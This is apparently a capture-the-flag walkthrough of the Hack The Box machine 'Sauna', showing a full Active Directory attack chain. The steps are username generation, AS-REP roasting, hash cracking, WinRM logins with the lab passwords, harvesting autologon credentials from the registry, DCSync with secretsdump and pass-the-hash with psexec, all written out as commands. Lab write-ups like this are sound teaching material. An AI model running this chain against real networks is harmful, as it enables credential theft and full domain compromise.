HTB: Sauna

We check the nmap scan and see there is a website being hosted, so let's run a directory bruteforce and see what we have going on there while we keep enumerating the system.

We also have a domain, so let's throw that into our hosts file while we are at it.

There's nothing in the bruteforce, so let's head back over to the site and check it out. Looking at the site it's some bank. We'll head over to the about section and see if we can grab any names of the employees and try to kerberoast that port 88 we saw in the nmap.

We get the whole squad here. Let's throw that into a text file and arrange them into the usual first-initial-plus-lastname patterns and the other common arrangements using this command.

awk '{
  f=tolower($1); l=tolower($2);
  print f"."l;               # fergus.smith
  print substr(f,1,1) l;     # fsmith
  print f substr(l,1,1);     # ferguss
  print f;                   # fergus
  print l;                   # smith
  print f"_"l;               # fergus_smith
  print substr(f,1,1)"."l;   # f.smith
}' names.txt | sort -u > users.txt

cat users.txt

Now let's run it through GetNPUsers.

impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt \
  -dc-ip 10.129.86.175 -format hashcat 2>&1 | tee asrep.out

We got ourselves a hit. Most of the guessed names come back as unknown principals, but fsmith exists and has preauth disabled. Let's go ahead and try to crack this.

hashcat fsmith.hash /usr/share/wordlists/rockyou.txt

Let's go, we got a password. We saw there is a WinRM instance on the server, so let's instantly try to log in with it.

nxc winrm 10.129.86.175 -u 'fsmith' -p 'Thestrokes23'

evil-winrm -i 10.129.86.175 -u fsmith -p 'Thestrokes23'

Heading over to the desktop of the user we get the user flag, and now let's work on privesc.

Checking privileges we see we have a standard setup.

Now on the system we will check for autologon registry keys and see if we get anything.

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

What do you know, we have a loanmanager service. Let's save these creds to our notes and move over to this account.

We weren't able to get a logon with WinRM on that account, so let's enumerate some more and run an LDAP user search using the fsmith creds.

nxc ldap 10.129.86.175 -u 'fsmith' -p 'Thestrokes23' --users

We find out that the service account's sAMAccountName is different from what the registry key advertised. Now with the actual name of the account let's attempt to log in.

evil-winrm -i 10.129.86.175 -u svc_loanmgr -p 'Moneymakestheworldgoround!'

Checking priv again to make sure we don't miss out on anything good here.

We are just going to go straight into secretsdump and pray this works, as this seems to be a manager service account and usually service accounts have higher privileges.

impacket-secretsdump egotistical-bank.local/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.86.175 -just-dc

Look at that, we have Administrator hashes. The account was quietly holding DCSync rights on the domain. Let's go ahead and pass the hash and see if we can get a shell with WinRM or psexec.

impacket-psexec -hashes :823452073d75b9d1cf70ebdf86c7f98e Administrator@10.129.86.175

And we got the root flag.

This box was pretty basic, great for beginners learning to enumerate and to pay attention to the information that is given away freely through corporate websites, and how simple it is for someone to spray them and find valid users.